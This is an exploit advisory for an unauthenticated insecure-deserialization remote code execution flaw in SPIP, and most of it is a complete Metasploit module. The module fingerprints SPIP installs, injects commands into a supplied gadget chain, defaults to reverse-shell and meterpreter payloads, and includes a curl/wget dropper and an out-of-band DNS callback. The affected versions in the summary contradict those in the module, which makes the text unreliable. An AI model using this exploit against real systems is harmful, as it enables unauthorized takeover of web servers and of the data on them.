============================================================================================================================================= | # Title : SPIP Unauthenticated Remote Code Execution via Insecure Deserialization | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : No standalone download available | ============================================================================================================================================= [+] Summary : A remote code execution vulnerability was identified in SPIP due to improper handling of user-supplied serialized data. The application fails to properly validate or restrict unsafe object deserialization, allowing an attacker to supply crafted input that triggers unintended object instantiation and execution flow manipulation. Under certain configurations, this issue may allow an unauthenticated remote attacker to execute arbitrary system commands on the affected server. Affected Versions SPIP 4.2.x prior to 4.2.1 SPIP 4.1.x prior to 4.1.8 SPIP 4.0.x prior to 4.0.10 Any installation running a version earlier than the patched releases listed above is considered vulnerable. Fixed Versions The issue has been addressed in: SPIP 4.2.1 and later SPIP 4.1.8 and later SPIP 4.0.10 and later Administrators are strongly advised to upgrade to a patched version to mitigate the risk. [+] Successful exploitation could result in: Remote command execution Full compromise of the web server context Potential lateral movement within the hosting environment Administrators are advised to upgrade to the latest patched version of SPIP and ensure that deserialization of untrusted data is properly restricted or eliminated. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'SPIP 4.4.8 and earlier Insecure Deserialization RCE', 'Description' => %q{ This module exploits an insecure deserialization vulnerability in SPIP versions before 4.4.9. The vulnerability exists in the public area through the table_valeur filter and the DATA iterator, which accept serialized data. NOTE: This module requires a valid gadget chain for SPIP 4.4.8. The included chains are EXAMPLES ONLY and will not work. Users must provide a real gadget chain via the GADGET_CHAIN option. }, 'License' => MSF_LICENSE, 'Author' => [ 'indoushka' ], 'References' => [ ['CVE', '2026-27475'], ['URL', 'https://www.spip.net/fr_article6799.html'] ], 'Platform' => ['php', 'unix', 'linux'], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php_memory, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => ['curl', 'wget'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DisclosureDate' => '2026-02-19', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to SPIP installation', '/']), OptInt.new('ARTICLE_ID', [true, 'Article ID to use in the request', 1]), OptEnum.new('VECTOR', [true, 'Attack vector to use', 'DATA', ['DATA', 'table_valeur']]), OptString.new('GADGET_CHAIN', [false, 'REAL gadget chain (base64 encoded) - REQUIRED for RCE']), OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('DOMAIN', [false, 'Domain for OOB callback detection']), OptBool.new('SSL_VERIFY', [false, 'Verify SSL certificate', false]), OptInt.new('MAX_PAYLOAD_LENGTH', [true, 'Maximum allowed payload length', 4096]), OptString.new('BAD_CHARS', [false, 'Characters to avoid in payload (hex format)', "\x00\x0A\x0D\"'\\"]) ] ) end def gadget_chain_provided? !(datastore['GADGET_CHAIN'].nil? || datastore['GADGET_CHAIN'].empty?) end def domain_provided? !(datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?) end def build_params(payload_value) { 'page' => 'article', 'id_article' => datastore['ARTICLE_ID'].to_s, datastore['VECTOR'] => payload_value } end def vulnerable_version?(version) version < Rex::Version.new('4.4.9') end def check_result_vulnerable?(result) [CheckCode::Appears, CheckCode::Detected].include?(result) end def build_cmd_chain(cmd) unless gadget_chain_provided? fail_with(Failure::BadConfig, "GADGET_CHAIN is required for RCE") end base_chain = Rex::Text.decode_base64(datastore['GADGET_CHAIN']) if base_chain.include?('{{CMD}}') base_chain.gsub('{{CMD}}', cmd) elsif base_chain =~ /s:\d+:".*?"/ if base_chain =~ /(s:\d+:")[^"]*(")/ old_field = Regexp.last_match(0) new_field = "s:#{cmd.bytesize}:\"#{cmd}\"" base_chain.sub(old_field, new_field) else base_chain end else base_chain end end def fingerprint_spip fingerprints = [ { path: 'spip.php', pattern: /SPIP (\d+\.\d+\.\d+)/, has_capture: true }, { path: 'ecrire/', pattern: /spip\.css/, has_capture: false }, { path: 'spip.php?page=backend', pattern: /generator.*SPIP/i, has_capture: false }, { path: 'local/config.txt', pattern: /SPIP/, has_capture: false } ] fingerprints.each do |fp| begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, fp[:path]), 'verify' => datastore['SSL_VERIFY'] }) next unless res if res.body.match(fp[:pattern]) version = nil if fp[:has_capture] && res.body =~ fp[:pattern] version = Regexp.last_match(1) end return { detected: true, version: version, path: fp[:path] } end rescue Rex::ConnectionError, Rex::TimeoutError => e vprint_error("Fingerprint attempt failed for #{fp[:path]}: #{e.message}") if datastore['VERBOSE'] next end end { detected: false } end def bad_chars_list if datastore['BAD_CHARS'] datastore['BAD_CHARS'].chars else ["\x00", "\x0A", "\x0D", '"', "'", "\\"] end end def validate_payload(payload) max_length = datastore['MAX_PAYLOAD_LENGTH'] if payload.length > max_length print_warning("Payload length (#{payload.length}) exceeds #{max_length} bytes") return false end bad_chars_list.each do |char| if payload.include?(char) print_warning("Payload contains bad character: #{char.inspect}") vprint_status("Payload: #{payload.unpack('H*').first}") if datastore['VERBOSE'] return false end end true end def encode_for_url(payload) Rex::Text.uri_encode(payload, 'hex-normal') end def create_oob_payload return nil unless domain_provided? dns_id = Rex::Text.rand_text_alphanumeric(8) callback = "#{dns_id}.#{datastore['DOMAIN']}" if gadget_chain_provided? chain = Rex::Text.decode_base64(datastore['GADGET_CHAIN']) if chain.include?('{{OOB}}') chain.gsub('{{OOB}}', callback) elsif chain =~ /s:\d+:".*?"/ if chain =~ /(s:\d+:")[^"]*(")/ old_field = Regexp.last_match(0) new_field = "s:#{callback.bytesize}:\"#{callback}\"" chain.sub(old_field, new_field) else nil end else nil end else nil end end def detect_oob_activity return false unless domain_provided? print_status("Check your DNS server for callback to #{datastore['DOMAIN']}") false end def send_exploit_request(params, method = 'GET') begin request_params = { 'method' => method, 'uri' => normalize_uri(target_uri.path, 'spip.php'), 'timeout' => 20, 'verify' => datastore['SSL_VERIFY'] } if method == 'GET' request_params['vars_get'] = params else request_params['vars_post'] = params end send_request_cgi(request_params) # returns Response or nil rescue Rex::ConnectionError, Rex::TimeoutError => e vprint_error("Request failed: #{e.message}") nil end end def execute_command(cmd, opts = {}) gadget_chain = build_cmd_chain(cmd) params = build_params(gadget_chain) send_exploit_request(params, 'POST') end def execute_cmdstager_with_fallback flavors = target['CmdStagerFlavor'] flavors.each do |flavor| begin print_status("Trying cmdstager flavor: #{flavor}") max_fragment = (datastore['MAX_PAYLOAD_LENGTH'] * 0.8).to_i execute_cmdstager( flavor: flavor.to_sym, linemax: max_fragment ) return true rescue => e print_warning("Flavor #{flavor} failed: #{e.message}") next end end false end def check print_status("Fingerprinting SPIP installation...") fp_result = fingerprint_spip unless fp_result[:detected] return CheckCode::Unknown('Could not detect SPIP installation') end if fp_result[:version] print_good("Detected SPIP version: #{fp_result[:version]}") begin version = Rex::Version.new(fp_result[:version]) if vulnerable_version?(version) result = CheckCode::Appears("Vulnerable SPIP version #{fp_result[:version]} detected") unless gadget_chain_provided? print_warning("GADGET_CHAIN is required for actual exploitation") else print_good("GADGET_CHAIN provided") end return result else return CheckCode::Safe("Patched SPIP version #{fp_result[:version]} detected") end rescue return CheckCode::Detected("SPIP detected at #{fp_result[:path]}, version unknown") end end CheckCode::Detected("SPIP detected at #{fp_result[:path]}") end def exploit check_result = check unless check_result_vulnerable?(check_result) print_warning("Target may not be vulnerable. Check result: #{check_result}") unless datastore['ForceExploit'] fail_with(Failure::NoTarget, "Exploit aborted by user (use ForceExploit to override)") end print_status("ForceExploit enabled - continuing anyway...") end unless gadget_chain_provided? fail_with(Failure::BadConfig, "GADGET_CHAIN is required for RCE. No example chains included.") end if domain_provided? print_status("Attempting OOB detection...") oob_payload = create_oob_payload if oob_payload params = build_params(oob_payload) send_exploit_request(params, 'POST') print_status("OOB payload sent.") Rex.sleep(2) detect_oob_activity end end case target['Type'] when :php_memory, :unix_cmd final_payload = payload.encoded gadget_chain = build_cmd_chain(final_payload) unless validate_payload(gadget_chain) fail_with(Failure::BadConfig, "Payload validation failed") end if gadget_chain.length > 2048 print_status("Using POST for large payload (#{gadget_chain.length} bytes)") params = build_params(gadget_chain) send_exploit_request(params, 'POST') else print_status("Using GET for payload (#{gadget_chain.length} bytes)") encoded = encode_for_url(gadget_chain) params = build_params(encoded) send_exploit_request(params, 'GET') end print_status("Exploit sent. Waiting for session...") Rex.sleep(2) when :linux_dropper print_status("Using cmdstager for Linux dropper") unless execute_cmdstager_with_fallback fail_with(Failure::Unknown, "All cmdstager flavors failed") end end rescue Msf::Exploit::Failed => e print_error("Exploit failed: #{e.message}") raise e rescue => e print_error("Unexpected error: #{e.message}") print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE'] end def on_new_session(client) print_good("Session successfully created!") super end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================